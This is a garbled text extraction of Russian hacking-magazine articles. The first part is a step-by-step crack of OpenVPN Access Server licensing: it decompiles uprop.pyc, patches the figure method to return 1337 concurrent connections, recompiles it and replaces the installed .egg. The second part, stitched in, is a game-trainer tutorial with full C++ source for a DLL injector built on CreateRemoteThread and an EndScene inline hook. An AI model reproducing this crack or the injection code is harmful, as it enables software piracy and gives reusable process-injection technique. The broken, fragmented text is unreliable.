Files ./pyovpn-2.0-py2.7_hacked/pyovpn/lic/uprop.pyo and ./pyovpn-2.0-
py2.7_original/pyovpn/lic/uprop.pyo differ 
Only in ./pyovpn-2.0-py2.7_hacked/pyovpn/lic: uprop2.pyo 
Files ./pyovpn-2.0-py2.7_hacked/pyovpn/production.pyo and ./pyovpn-2.0-
py2.7_original/pyovpn/production.pyo differ

$ diff -rq ./pyovpn-2.0-py2.7_hacked ./pyovpn-2.0-py2.7_original

Те перь срав ним сами фай лы, но сна чала их нуж но деком пилиро вать, пос- 
коль ку .pyc — это байт-код. Вос поль зуем ся ути литой , которая

отлично работа ет с вер сиями Python 2.7, 3.7, 3.8. Я буду делать все на macOS,
но в Linux коман ды вряд ли отли чают ся.

decompile6

pip $ install decompyle6 
$ uncompyle6 /Users/n0a/Work/openvpn_decompile/test_diff/pyovpn-2.0-
py2.7_hacked/pyovpn/lic/uprop.pyo > uprop.py 
$ cat uprop.py 

Смот рим содер жимое деком пилиро ван ного фай ла:

$ cat uprop.py 

 import uprop2
  old_figure = None

  def new_figure(self, licdict):
      ret = old_figure(self, licdict)
     ret['concurrent_connections'] = 1024
    return ret

   for x in dir(uprop2):
      if x[:2] == '__':
       continue
      if x == 'UsageProperties':

        exec 'old_figure = uprop2.UsageProperties.figure'
        exec 'uprop2.UsageProperties.figure = new_figure'

       exec '%s = uprop2.%s' % (x, x)

Ин терес но! Цикл  — это перебор всех атри бутов . Те атри буты,

наз вания которых начина ются с двух под черки ваний, про пус кают ся. Фун кция
 ста новит ся ссыл кой на метод  клас са ,

а фун кция в клас се  ссы лает ся на . Слож но ска зать,

зачем это сде лано. Могу пред положить, что класс  исполь- 

зует ся где-то еще, и, что бы не менять вез де, сде лали такой неоче вид ный
трюк.

for uprop2

old_figure figure UsageProperties
UsageFigure new_figure

UsageProperties

Де ком пилиру ем  и понима ем, что это ори гиналь ный ,

в котором и выпол няет ся про вер ка лицен зии.

uprop2 uprop

...
 class UsageProperties(object):

     def figure(self, licdict):
         proplist = set(('concurrent_connections',))

         good = set()
         ret = None
        if licdict:

               for key, props in licdict.items():
                   if 'quota_properties' not in props:

 
  

                   print 'License Manager: key %s is missing usage 
properties' % key
                   continue
               proplist.update(props['quota_properties'].split(','))
               good.add(key)

          for prop in proplist:
             v_agg = 0

             v_nonagg = 0
            if licdict:

                   for key, props in licdict.items():
                      if key in good:

                          if prop in props:
                           try:

                                 nonagg = int(props[prop])
                           except:

 
   

                               raise Passthru('license property %s (
%s)' % (prop, props.get(prop).__repr__()))

                              v_nonagg = max(v_nonagg, nonagg)
                               prop_agg = '%s_aggregated' % prop

                             agg = 0
                              if prop_agg in props:

                               try:
                                     agg = int(props[prop_agg])

                               except:
 

   
                                   raise Passthru('aggregated 
license property %s (%s)' % (prop_agg, props.get(prop_agg).__repr__
()))

                                 v_agg += agg
                            if DEBUG:

 
  

                               print 'PROP=%s KEY=%s agg=%d(%d) 
nonagg=%d(%d)' % (prop,
                                key,
                                agg,
                                v_agg,
                                nonagg,
                                v_nonagg)

             apc = self._apc()
             v_agg += apc

              if ret == None:
                 ret = {}

                  ret[prop] = max(v_agg + v_nonagg, bool('v_agg') + bool(
'v_nonagg'))

             ret['apc'] = bool(apc)
            if DEBUG:

    
 

               print "ret['%s'] = v_agg(%d) + v_nonagg(%d)" % (prop,
v_agg, v_nonagg)

        return ret

Раз работ чик кря ка исполь зовал под мену объ екта, не тро гая основной файл.
Прин цип понятен.

Те перь поп робу ем про вер нуть то же самое, толь ко для акту аль ной вер сии
OpenVPN Aсcess Server. Экспе римен тировать буду на VPS с акту аль ной
Debian 11 Bullseye.

 пос леднюю вер сию с сай та раз работ чика. Уста нав лива ем
или рас паковы ваем архив .deb и смот рим вер сию Python, для которой
написан pyovpn:

Ска чива ем

$ ls /usr/local/openvpn_as/lib/python/pyovpn-2.0-py3.9.egg 

Ага, 3.9, что не очень под ходит, так как деком пиляция для этой вер сии Python
пока не реали зова на.

INFO

Ты можешь под держать раз работ чика деком- 
пилято ра и помочь в работе над про ектом. Под- 
робнее — в его .об ращении

Что-то мне под ска зыва ет, что вер сия для Debian 10 будет под ходящей, так
как, изу чив вики, , что в 11-й вер сии (Bullseye) уже Python 3.9, а в 10-й
(Buster) — 3.7.

уз наем

ÓÑÒÀÍÎÂÊÀ Â DEBIAN 10

Пос коль ку VPS новая, прос то поменяю ОС на десятую вер сию и пос мотрю
дос тупные вер сии OpenVPS-AS:

 

 

 
wget -qO - https://as-repository.openvpn.net/as-repo-public.gpg | apt-
key add - 
echo "deb http://as-repository.openvpn.net/as/debian buster 
main">/etc/apt/sources.list.d/openvpn-as-repo.list 

 
 

openvpn-as: 
  Installed: (none) 
  Candidate: 2.10.1-d5bffc76-Debian10 
  Version table: 
     2.10.1-d5bffc76-Debian10 500 
        500 http://as-repository.openvpn.net/as/debian buster/main amd64 
Packages 
     2.10.0-ca1e86b5-Debian10 500 
        500 http://as-repository.openvpn.net/as/debian buster/main amd64 
Packages 
     2.9.6-1090f6b3-Debian10 500 
        500 http://as-repository.openvpn.net/as/debian buster/main amd64 
Packages 
     2.9.5-82d54e5b-Debian10 500 
        500 http://as-repository.openvpn.net/as/debian buster/main amd64 
Packages 
     2.9.4-8b3ce898-Debian10 500 
...

$ apt update && apt -y install ca-certificates wget net-tools gnupg

$ apt update
$ apt policy openvpn-as

От лично, вер сия пос ледняя, как в 11-й, а зна чит, акту аль ная. Уста нав лива ем
и смот рим вер сию Python, которая исполь зует ся в pyovpn. Дол жно быть 3.7.

apt  $ -y install openvpn-as 
$ ls /usr/local/openvpn_as/lib/python/pyovpn-2.0-py3.7.egg 
/usr/local/openvpn_as/lib/python/pyovpn-2.0-py3.7.egg 

Так и есть: это пос ледняя вер сия (2.10.1) и она исполь зует Python 3.7. Все
скла дыва ется. Давай про верим, мно гое ли изме нилось по срав нению с вер- 
сией 2.0.5, которая была изна чаль но най дена похекан ной. Что бы не тас кать
фай лы туда-сюда, став лю на сер вере python-decompile3:

$ git clone https://github.com/rocky/python-decompile3 
$ cd python-decompile3 

pip3   . $ install -e

И сно ва рас паковы ваем .egg:

 

 

 
 

 
 

 
EGG-INFO  pyovpn

$ mkdir /opt/ovpn && cd ovpn
$ cp /usr/local/openvpn_as/lib/python/pyovpn-2.0-py3.7.egg ./
$ cp /usr/local/openvpn_as/lib/python/pyovpn-2.0-py3.7.egg pyovpn-2.0-
py3.7.zip
$ unzip pyovpn-2.0-py3.7.zip && rm pyovpn-2.0-py3.7.zip
$ ls

За тем деком пилиру ем:

$ cd ./pyovpn/lic 
$ decompyle3 uprop.pyc > uprop.py 
$ cat uprop.py 

Смот рим отли чия и видим, что все то же самое, кро ме неболь ших рас хожде- 
ний в син такси се. Но что имел в виду автор хака, ког да исполь зовал два фай- 
ла? Почему прос то не ука зать явно в кон це фун кции  количес тво

соеди нений, минуя все про вер ки?

figure

Да вай поп робу ем более прос той вари ант. Добав ляем 
 перед воз вра том ( ):

ret[
'concurrent_connections'] = 1337 ret

$ nano uprop.py 

...
             apc = self._apc()

             v_agg += apc
              if ret == None:

                 ret = {}
                  ret[prop] = max(v_agg + v_nonagg, bool('v_agg') + bool(

'v_nonagg'))
             ret['apc'] = bool(apc)

            if DEBUG:
   

 
               print("ret['%s'] = v_agg(%d) + v_nonagg(%d)" % (prop,
v_agg, v_nonagg))

         ret['concurrent_connections'] = 1337

        return ret

    def _apc(self):
...

Сох раня ем файл, ком пилиру ем:

$ python3 -m compileall uprop.py 
$ rm uprop.pyc uprop.py 
$ cp __pycache__/uprop.cpython-37.pyc ./uprop.pyc 

 $ rm -Rf __pycache__ 

Ар хивиру ем и заменя ем пакет .egg:

$ cd /opt/ovpn 
zip  $ -r *

$ sudo rm /usr/local/openvpn_as/lib/python/pyovpn-2.0-py3.7.egg 
$ sudo cp common.zip /usr/local/openvpn_as/lib/python/pyovpn-2.0-py3.
7.egg 

И перезаг ружа ем openvpn-as. Я уда лял логи, так как ловил ошиб ки во вре мя
экспе римен тов. Это делать необя затель но.

$ sudo service openvpnas stop 
$ sudo rm /var/log/openvpnas.log 
$ sudo touch /var/log/openvpnas.log 

За пус каем сер вис openvpnas:

$ service openvpnas start 

Убеж даем ся, что все в поряд ке и оши бок нет:

cat /var/log/openvpnas.log 

Идем в админку на пор те 943/admin и видим, что нам дос тупно 1337 под клю- 
чений.

Пять активных под клю чений из 1337 воз можных

INFO

Ес ли ты вдруг потерял пароль и не можешь
попасть в админку, напиши .passwd openvpn

Тес тирова ние показа ло отличную работу с дву мя и более устрой ства ми.

ÂÛÂÎÄÛ

Мно гие VPN сей час под бло киров ками или не могут при нять опла ту, поэто му
Access Server — неп лохой спо соб быс тро раз вернуть собс твен ный ана лог
с воз можностью управлять про филя ми поль зовате лей. Поль зовать ся ли
пират ским методом его акти вации — решать тебе, но это, как ока залось, сов- 
сем не слож но.

WWW

На пос ледок еще нес коль ко полез ных ссы лок:
 — набор кли ент ско го и сер верно го

соф та для облегчен ного раз верты вания VPN
•Amnezia VPN

 — скрипт для авто мати зации
нас трой ки OpenVPN

•openvpn-install

 — набира ющий популяр ность сов-
ремен ный про токол VPN

•WireGuard

mailto:me@n0a.pw
https://zakon.ru/blog/2020/4/1/ispolzovanie_nelicenzionnogo_po_otvetstvennost_i_sudebnaya_praktika
https://xakep.ru/2022/03/05/piracy-russia/
https://openvpn.net/vpn-software-packages/
https://github.com/sponsors/rocky
https://wiki.debian.org/Python
https://github.com/amnezia-vpn
https://github.com/Nyr/openvpn-install
https://www.wireguard.com/
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КОДИНГ

Иг рать в игры любят все, но это гораз до
инте рес нее, ког да у тебя име ется нес- 
конча емый запас пат ронов и здо ровья.
Что бы обза вес тись и тем и дру гим, мож но
погуг лить читы и трей неры для тво ей
любимой игры. Но как быть, если их еще не
раз работа ли? Написать самому! Обла дая
навыка ми реверс-инжи нирин га и прог- 
рамми рова ния, сде лать это нам ного про- 
ще, чем кажет ся.

ÂÛÁÎÐ ÈÃÐÛ

Для начала опре делим ся с игрой. Мой выбор пал на  (далее
HLD). Если ты пла ниру ешь поэк спе римен тировать с ком мерчес кой игрой,
обра ти вни мание на сайт , а так же на игры 

.

Hyper Light Drifter

pcgamingwiki с откры тым исходным
кодом

WARNING

Так как для написа ния этой статьи я буду исполь- 
зовать ком мерчес кую игру, мне нуж но удос- 
товерить ся, что лицен зион ное сог лашение (EULA)
поз воля ет это делать.

На чав уста нов ку и вни матель но про читав текст
EULA, я убе дил ся, что в нем явно зап реща ется
написа ние и рас простра нение толь ко тех читов
и трей неров, которые меша ют работе сер виса,
а в нашем слу чае ничего подоб ного не пла ниру- 
ется. Поэто му сме ло про дол жаем уста нов ку.

EULA HLD

ÏÎÈÑÊ ÇÍÀ×ÅÍÈÉ

Для поис ка зна чений, которые будет изме нять чит, мы ста нем исполь зовать
 (далее CE).Cheat Engine

За пус тим игру и в нас трой ках игры выберем окон ный режим — нам нуж но,
что бы на экра не помеща лось еще что-то, кро ме игры.

Окон ный режим

Как видим, в окон ном режиме отсутс тву ет панель заголов ка, с помощью
которой мы мог ли бы перетас кивать окно игры по экра ну. Что бы испра вить
эту неп рият ность, откро ем отладчик , а имен но его 32-бит ную вер сию
( ) и запус тим под ним HLD.

x64dbg
x32dbg

Пос тавим брейк-пой нты на фун кции 

и , которые отве чают за соз дание окна. Най ти их мож но

на вклад ке Symbols, выб рав биб лиоте ку .

CreateWindowExA
CreateWindowExW

user32.dll

Вклад ка сим волов

Ви дим, что наше окно соз дает ся с парамет ром , име ющим зна чение

.

dwStyle
WS_POPUP = 0x80000000

Зна чение парамет ра dwStyle, рав ное WS_POPUP

По меня ем это зна чение на .WS_OVERLAPPED = 0x00000000

Па раметр dwStyle, изме нен ный на WS_OVERLAPPED

И вот резуль тат: теперь мы можем переме щать окно.

Окон ный режим с панелью заголов ка окна

Пос ле того как мы нас тро или окно игры с помощью отладчи ка, ненадол го
отло жим его. Что бы най ти нуж ные нам зна чения в Cheat Engine, раз берем ся
с теорией.

×ÒÎ ÒÀÊÎÅ ÑÒÀÒÈ×ÅÑÊÈÉ ÀÄÐÅÑ

Ста тичес кий адрес — это адрес, который изме няет ся пред ска зуемо по отно- 
шению к модулю, которо му он при над лежит. Если перемен ная гло баль ная, то
мож но най ти ее в сег менте дан ных.

Ста тичес кие адре са ука зыва ются в фор мате . Нап ример,
в  мы мог ли обна ружить зна чение по адре су  (

). Пос коль ку  может переме- 

щать ся и ее базовый адрес заг рузки будет менять ся, что бы получить дос туп
к нашему зна чению, мы не исполь зуем этот адрес нап рямую. Вмес то это го
возь мем адрес [ ]. Сле дова тель но, ког да 

заг ружа ется по базово му адре су , [ ] дает
нам  и у нас появит ся дос туп к нашему зна чению.

[module+offset]
library.dll 0x700004C0 base 

= 0x70000000, offset = 0x4C0 library.dll

library.dll + 0x4C0 library.dll
0x10000000 library.dll + 0x4C0

0x100004C0
Ес ли же перемен ная локаль ная, то искать нуж но в сте ке. Для это го получа- 

ем  опре делен ного потока, а затем вто рой ука затель из этой
струк туры (  или , в зависи мос ти от раз ряднос ти про цес- 

са), которая содер жит вер шину сте ка.  может быть получен

с помощью  (если это 64-бит ный про цесс)

или же с помощью  (если это 32-бит ный про- 
цесс в 64-бит ной сис теме).

TebBaseAddress
FS:[0x04] GS:[0x08]

TebBasePointer
NtQueryInformationThread

Wow64GetThreadSelectorEntry

ÏÎÈÑÊ ÏÎÊÀÇÀÒÅËÅÉ ÇÄÎÐÎÂÜß

За пус каем Cheat Engine и под клю чаем ся к про цес су игры.

Под клю чение к про цес су игры

Так как мы не зна ем, в каком типе хра нит ся показа тель здо ровья, выс тавля ем
сле дующие парамет ры для пер вого ска ниро вания.

Пер вое ска ниро вание

Да лее про дол жаем ска ниро вание, не забывая при этом терять hp (показа тель
здо ровья) в игре. Дела ем мы это для того, что бы отсле живать изме нения зна- 
чения hp в памяти игры через CE, а так же умень шать зна чение в поис ке
для сле дующих ска ниро ваний. Делать мы это будем до тех пор, пока не будет
дос тигну то адек ватное количес тво зна чений в окне CE. Адек ватное количес- 
тво зна чений в дан ном слу чае — это такое количес тво адре сов, про вер ка
которых зай мет мак симум минут пять.

Най ден ные адре са и их зна чения

Мне приг лянулись вот эти два адре са, которые я добавил в ниж нее окно
двой ным щел чком мыши на них. Приг лянулись они мне в пер вую оче редь
потому, что зна чения по этим адре сам сре ди всех осталь ных име ют наиболь- 
ший тип — double. Всег да нуж но про верять от боль шего типа к мень шему. То
есть сна чала про веря ем адре са, хра нящие тип double, затем oat, пос ле
integer и так далее. Более под робно о раз мере типов дан ных мож но про- 
читать в .до кумен тации Microsoft

До бав ленные адре са

Ес ли мы поменя ем зна чение по адре су , то на экра не появит ся

полоса здо ровья, но его количес тво не поменя ется.

0x36501940

Ин дикатор hp

Ес ли теперь мы поменя ем зна чение по адре су , то на экра не
появит ся полоса hp и зна чение изме нит ся. Это зна чит, что мы наш ли адрес,
в котором хра нит ся зна чение здо ровья в игре. Зна чение хра нит ся в фор мате
double (стан дарт ).

0x36501A30

IEEE 754

Из менение hp

Да дим наз вание най ден ным нами адре сам:  и  соот ветс твен но.

Одна ко, как я уже рас ска зывал в раз деле, пос вящен ном ста тичес ким адре- 
сам, най ден ный нами адрес будет бес полезен пос ле того, как мы вый дем
в меню или переза пус тим игру.

hp_bar hp

Ïîèñê ñòàòè÷åñêîãî àäðåñà äëÿ èíäèêàòîðà çäîðîâüÿ

Для даль нейше го поис ка ста тичес кого адре са вер немся к отладчи ку. В окне
дам па перехо дим по ранее получен ному адре су , в котором хра- 
нит ся зна чение hp.

0x36501A30

Зна чение по адре су 0x36501A30 в окне дам па

Ста вим по адре су  аппа рат ный брейк-пой нт на запись и теря ем

в игре здо ровье. Брейк-пой нт сра баты вает, и мы видим, что новое зна чение
hp берет ся из регис тра . Это зна чение явля ется пер вым парамет ром

текущей фун кции.

0x36501A34

EDI

Вый дя из этой фун кции, прос ледим, отку да она получа ет свой пер вый
параметр. Мы уви дим, что переда ваемый параметр — это воз вра щаемое
зна чение фун кции по адре су .0x003EFCE9

Пос тавим брейк-пой нт на вызов фун кции по адре су , а даль ше

про дол жим отладку, пока не оста новим ся на ее вызове. Зай дя внутрь фун- 
кции, выпол няем ее до кон ца. Как толь ко мы дос тигнем адре са ,
мы уви дим, что регистр  хра нит адрес зна чения hp. Оче вид но, что в этой

фун кции про исхо дит дос туп к нашему адре су через ариф метику с ука зате- 
лями для струк тур, а имен но через при бав ление к ука зате лю сме щений
и даль нейше го его разыме нова ния. Более под робно об этом мож но про- 
читать . Нам нуж но будет пов торно прой тись по этой фун кции, что бы
узнать, через какой адрес и сме щения она получа ет адрес зна чения hp.

0x003EFCE9

0x00F88E19
EAX

здесь

Пос ле того как мы узна ли адрес , из которо го получа ется адрес

зна чения hp, начина ем выходить из фун кций. При этом вни матель но отсле- 
жива ем, что переда ется им в качес тве парамет ров. Спус тя пару выходов мы
нат кнем ся на сле дующее.

0x353F9BB0

Мы наш ли ста тичес кий адрес! Если пос мотреть его рас положе ние в памяти,
он находит ся в сек ции ..data

Зная все сме щения, добавим их в CE, нажав .Add Address Manually

Продолжение статьи →
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ÏÎÈÑÊ ÇÍÀ×ÅÍÈß ×ÈÑËÀ ÏÀÒÐÎÍÎÂ

Те перь прис тупим к поис ку зна чения чис ла пат ронов (ammo). Пер вое ска- 
ниро вание дела ем с такими же парамет рами поис ка, как ког да мы иска ли
здо ровье.

В дан ном слу чае мы смог ли най ти лишь одно зна чение, и это зна чение
полосы, которая показы вает чис ло боеп рипасов.

В игре этот инди катор не появил ся. В отли чие от полосы здо ровья, он отоб- 
ража ется толь ко пос ле нажатия на кноп ку E или во вре мя выс тре лов.

Ïîèñê ñòàòè÷åñêîãî àäðåñà äëÿ ammo

Мы понима ем, что показа ния инди като ров в игре всег да срав нива ются с фак- 
тичес кими. Если одна из полос показы вает не то, что нуж но, ее дли на изме- 
няет ся. Поэто му воз вра щаем ся к отладчи ку и начина ем с аппа рат ного
брейк-пой нта на запись по адре су . Как видим по ком мента риям,

эта фун кция уже нам встре чалась.

0x365014С4

По ана логии с поис ком hp, выходим из фун кции.

Так как мы уже зна ем, что инди катор дол жен получать зна чение где-то рань- 
ше, нам при дет ся про лис тать окно дизас сем бле ра выше, пока мы не уви дим
фун кцию, пред положи тель но получа ющую фак тичес кое зна чение ammo.

Мы видим, что в этой фун кции мы уже были, а это зна чит, что она тоже получа- 
ет зна чение, но уже ammo — . Толь ко какое-то оно стран ное.365014E0

До бавив это «стран ное» зна чение в Cheat Engine, а потом изме нив его, к при- 
меру, на 100, мы уви дим, что на экра не появит ся инди катор пат ронов и его
зна чение поменя ется. Зна чит, мы наш ли адрес, в котором хра нит ся зна чение
ammo в игре.

Зная все сме щения от ста тичес кого адре са к адре су зна чений ammo,
добавим их в CE, нажав .Add Address Manually

INFO

Ско рее все го, боеп рипасы в HLD пред став ляют
собой заряд энер гии и поэто му хра нят ся в про- 
цен тах, ведь при их поис ке через отладчик мож но
было уви деть стро ки, содер жащие сло во

. Которое намека ет на то, как будет выг- 
лядеть зна чение в памяти. Нап ример, игра
от одной небезыз вес тной поль ской ком пании
хра нила пат роны в памяти вмес те, а для игро ка
показы вала раз дель но: как рожок, так и количес- 
тво оставших ся пат ронов, поэто му при их поис ке
не уда валось най ти каж дое из зна чений, а нуж но
было искать их сум му.

energy

ÏÐÎÂÅÐÊÀ ÏÎËÓ×ÅÍÍÎÃÎ ÑÒÀÒÈ×ÅÑÊÎÃÎ ÀÄÐÅÑÀ

Что бы про верить, пра виль но ли мы опре дели ли адре са, нуж но вый ти в меню
игры и вер нуть ся к игро вому про цес су или же переза пус тить игру.

Ïðîâåðêà äëÿ HP

Так выг лядит наша cheat table для hp.

Таб лица до выхода в меню / переза пус ка игры

А вот так она выг лядит пос ле переза пус ка игры.

Таб лица пос ле запус ка игро вого про цес са

Ïðîâåðêà äëÿ ammo

Так выг лядит наша cheat table для ammo.

Таб лица до выхода в меню / переза пус ка игры

А вот так она выг лядит пос ле переза пус ка игры.

Таб лица пос ле запус ка игро вого про цес са

ÊÀÊ ÁÓÄÅÒ ÂÛÃËßÄÅÒÜ ÍÀØ ÓÊÀÇÀÒÅËÜ Â C++

В нашем чите дос туп к най ден ным адре сам зна чений будет таким.

  static_addr = (DWORD)GetModuleHandle(0);
    static_addr = *(DWORD*)(static_addr + 0x255AF150);
  static_addr = *(DWORD*)(static_addr);
    static_addr = *(DWORD*)(static_addr + 0xD48);
    static_addr = *(DWORD*)(static_addr + 0x0C);
    static_addr = (DWORD*)(static_addr + 0xC4);

    static_addr = *(DWORD*)(*static_addr + 0x08);
    static_addr = *(DWORD*)(static_addr + 0x44);
    static_addr = *(DWORD*)(static_addr + 0x10);

    drifter_hp = (double*)(DWORD*)*(DWORD*)(static_addr + 0x1FD8);
    drifter_ammo = (double*)(DWORD*)*(DWORD*)(static_addr + 0x268C);

Продолжение статьи →
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ÍÀÏÈÑÀÍÈÅ ÒÐÅÉÍÅÐÀ

По прин ципу дей ствия читы мож но раз делить на две груп пы: внут ренние
и внеш ние. Внеш ние читы — это отдель ное при ложе ние, запущен ное в сис- 
теме в виде про цес са. Внут ренние читы обыч но реали зова ны как динами чес- 
кая биб лиоте ка, внед ряемая в про цесс игры.

Мы будем писать внут ренний чит, поэто му нам понадо бит ся не толь ко
сама биб лиоте ка, но и инжектор, который внед рит нашу биб лиоте ку в про- 
цесс игры. Инжектор получит спи сок про цес сов, най дет про цесс игры,
выделит в ней память, в которую запишет наш внут ренний чит, а пос ле соз- 
даст уда лен ный поток внут ри игры для выпол нения кода нашего чита.

Injector

Код нашего инжекто ра выг лядит сле дующим обра зом.

#include <windows.h>
#include <tlhelp32.h>

// Имя внедряемой dll
    const char* dll_path = "internal_trainer_hld.dll";

  int main(void) {
    HANDLE process;
    void* alloc_base_addr;
    HMODULE kernel32_base;
    LPTHREAD_START_ROUTINE LoadLibraryA_addr;
    HANDLE thread;

      HANDLE snapshot = 0;
        PROCESSENTRY32 pe32 = { 0 };

      DWORD exitCode = 0;

     pe32.dwSize = sizeof(PROCESSENTRY32);

   // Получение снапшота текущих процессов
      snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    Process32First(snapshot, &pe32);

    do {
       // Мы хотим работать только с процессом HyperLightDrifter

            if (wcscmp(pe32.szExeFile, L"HyperLightDrifter.exe") == 0) {

           // Во-первых, нам нужно получить дескриптор процесса, 
чтобы использовать его для следующих вызовов

               process = OpenProcess(PROCESS_ALL_ACCESS, true, pe32.
th32ProcessID);

           // Чтобы не повредить память, выделим дополнительную 
память для хранения нашего пути к DLL

    
    

           alloc_base_addr = VirtualAllocEx(process, NULL, strlen(
dll_path) + 1, MEM_COMMIT, PAGE_READWRITE);

           // Записываем путь к нашей DLL в память, которую мы 
только что выделили внутри игры

   
   

           WriteProcessMemory(process, alloc_base_addr, dll_path,
strlen(dll_path) + 1, NULL);

           // Создаем удаленный поток внутри игры, который будет 
выполнять LoadLibraryA
           // К этому вызову LoadLibraryA мы передадим полный путь 
к нашей DLL, которую мы прописали в игру

             kernel32_base = GetModuleHandle(L"kernel32.dll");
  
 

           LoadLibraryA_addr = (LPTHREAD_START_ROUTINE)
GetProcAddress(kernel32_base, "LoadLibraryA");

     
   

           thread = CreateRemoteThread(process, NULL, 0,
LoadLibraryA_addr, alloc_base_addr, 0, NULL);

           // Чтобы убедиться, что наша DLL внедрена, мы можем 
использовать следующие два вызова для синхронизации

            WaitForSingleObject(thread, INFINITE);
            GetExitCodeThread(thread, &exitCode);

           // Наконец, освобождаем память и очищаем дескрипторы 
процесса

              VirtualFreeEx(process, alloc_base_addr, 0, MEM_RELEASE);
           CloseHandle(thread);
           CloseHandle(process);
           break;
       }
   // Перебор процессов из снапшота
      } while (Process32Next(snapshot, &pe32));

    return 0;
}

DLL

На ша биб лиоте ка будет сос тоять из сле дующих модулей:
глав ный модуль ( );• dllmain.cpp
мо дуль хуков (  и );• directx_hook.cpp directx_hook.h
мо дуль обратных вызовов ( );• directx_hook_callbacks.h
мо дуль работы с памятью ( ).• memory.h

Ãëàâíûé ìîäóëü

При заг рузке нашей биб лиоте ки через фун кцию  соз даетcя

поток, в котором будет про исхо дить вызов двух фун кций. Пер вая уста новит
хук, а вто рая отри сует меню нашего чита и изме нит ранее най ден ные зна- 
чения через нажатие кла виш.

LoadLibraryA

#include "directx_hook.h"

   double full_health = 6;
   double full_ammo = 100;

   DWORD static_addr = 0;
   DWORD *drifter = 0;

// Получаем player class
  void get_player_class() {

       if (drifter == NULL) {
         static_addr = (DWORD)GetModuleHandle(0);
           static_addr = *(DWORD*)(static_addr + 0x255AF150);
         static_addr = *(DWORD*)static_addr;
           static_addr = *(DWORD*)(static_addr + 0xD48);
           static_addr = *(DWORD*)(static_addr + 0x0C);

           drifter = (DWORD*)(static_addr + 0xC4);
   }
}

// Отрисовываем наше меню
   void draw_menu(directx_hook* hook) {

         hook->draw_text(10, 70, D3DCOLOR_ARGB(255, 255, 255, 255), "Full 
health press F1");
         hook->draw_text(10, 90, D3DCOLOR_ARGB(255, 255, 255, 255), "Full 
ammo press F2");
}

// Изменяем по нажатию клавиш значения hp и ammo
   void run(directx_hook* hook) {

    double* drifter_hp;
    double* drifter_ammo;

   draw_menu(hook);
   get_player_class();

     if (*drifter) {

           static_addr = *(DWORD*)(*drifter + 0x08);
           static_addr = *(DWORD*)(static_addr + 0x44);
           static_addr = *(DWORD*)(static_addr + 0x10);

           drifter_hp = (double*)(DWORD*)*(DWORD*)(static_addr + 0x1FD8)
;

           drifter_ammo = (double*)(DWORD*)*(DWORD*)(static_addr +
0x268C);

           if (GetAsyncKeyState(VK_F1) & 1) {
             *drifter_hp = full_health;

       }

           if (GetAsyncKeyState(VK_F2) & 1) {
             *drifter_ammo = full_ammo;

       }
   }
}

  void injected_thread() {
   // Добавляем нашу функцию, которая будет вызываться при inline 
hook
   directx_hook::get_instance()->add_callback(&run);
   // Начинаем работу по установке inline hook
   directx_hook::get_instance()->initialize();
}

       
  

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call,
LPVOID lpReserved) {
     switch (ul_reason_for_call) {

        case DLL_PROCESS_ATTACH:
  

   
           CreateThread(0, 0, (LPTHREAD_START_ROUTINE)
injected_thread, 0, 0, 0);

        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:

           break;
   }
    return TRUE;
}

Ìîäóëü õóêîâ

Это модуль, в котором будет выпол нять ся перех ват фун кции  — она
отве чает за отри сов ку сцен. Это необ ходимо для того, что бы отри совы вать
наше меню.

EndScene

Õóêè

Есть мно жес тво , но мы будем исполь зовать самый прос той
из это го спис ка — byte patching/inline hook. Выбор объ ясня ется прос то: наша
игра под держи вает толь ко оди ноч ный режим, а дру гие хуки слу жат для обхо да
анти читов в мно гополь зователь ских играх и нам поп росту не нуж ны.

ви дов хуков

#pragma once

#include <windows.h>
#include <stdint.h>

#include <d3d9.h>
#include <d3dx9.h>

#pragma comment(lib, "d3d9.lib")
#pragma comment(lib, "d3dx9.lib")

   typedef HRESULT(WINAPI* _endscene)(LPDIRECT3DDEVICE9 pDevice);
 class directx_hook;
   typedef void (*_callback_run)(directx_hook* hook);

  class directx_hook {
private:
     static directx_hook* instance;
     static uint8_t* orig_endscene_code;
     static uint32_t endscene_addr;
     static LPDIRECT3DDEVICE9 hooked_device;

      static bool hook_ready_pre, hook_ready;

    _callback_run callback_run;

    LPD3DXFONT font;

    void set_hooks();
    uint32_t locate_endscene();
public:
     static _endscene orig_endscene;

      static directx_hook* get_instance() {
         if (!directx_hook::instance) {

              directx_hook::instance = new directx_hook();
       }

        return directx_hook::instance;
   }

      static void delete_instance() {
         if (directx_hook::instance) {

            delete directx_hook::instance;
             directx_hook::instance = NULL;

       }
   }

    void initialize();

     void add_callback(_callback_run cb);

           
 

void draw_text(uint32_t x, uint32_t y, D3DCOLOR color, const char
* text);

     uint32_t init_hook_callback(LPDIRECT3DDEVICE9 device);
      HRESULT WINAPI endscene_hook_callback(LPDIRECT3DDEVICE9 pDevice);
};

В осталь ных модулях мы выпол ним сле дующие дей ствия:
соз дадим вре мен ное устрой ство Direct3D и получим его таб лицы VF, что бы
най ти адрес фун кции ;

•
EndScene

ус тановим вре мен ный хук на фун кцию ;• EndScene
при выпол нении хука выпол ним обратный вызов и переда дим ему адрес
устрой ства, которое исполь зовалось для вызова фун кции .
Затем уда лим хук и вос ста новим нор маль ное выпол нение фун кции

;

•
EndScene

EndScene
вы пол ним нашу фун кцию ;• run
вер немся ко вто рому пун кту.•

Все это дела ется, что бы написан ный нами код отри совы вал меню чита и по
нажатию кно пок изме нялись зна чения hp и ammo.

#include "directx_hook.h"
#include "directx_hook_callbacks.h"
#include "memory.h"

   directx_hook* directx_hook::instance = NULL;
   uint8_t* directx_hook::orig_endscene_code = NULL;
   uint32_t directx_hook::endscene_addr = NULL;

   LPDIRECT3DDEVICE9 directx_hook::hooked_device = NULL;

   _endscene directx_hook::orig_endscene = NULL;
   bool directx_hook::hook_ready = false;
   bool directx_hook::hook_ready_pre = false;

  void directx_hook::initialize() {

   // Проверяем, находится ли в адресном пространстве d3d9.dll
     while (!GetModuleHandleA("d3d9.dll")) {
       Sleep(10);
   }

   // Получаем адрес функции endscene
     directx_hook::endscene_addr = this->locate_endscene();

   // Проверяем, успешно ли получен адрес EndScene
   // Если да, то устанавливаем наш inline hook
     if (directx_hook::endscene_addr) {

  
 

       directx_hook::orig_endscene_code = hook_jmp(directx_hook::
endscene_addr, (uint32_t)&endscene_trampoline);
   }

   // Ждем
     while (!directx_hook::hook_ready_pre) {
       Sleep(10);
   }

   // Сигнализируем, что наш хук готов
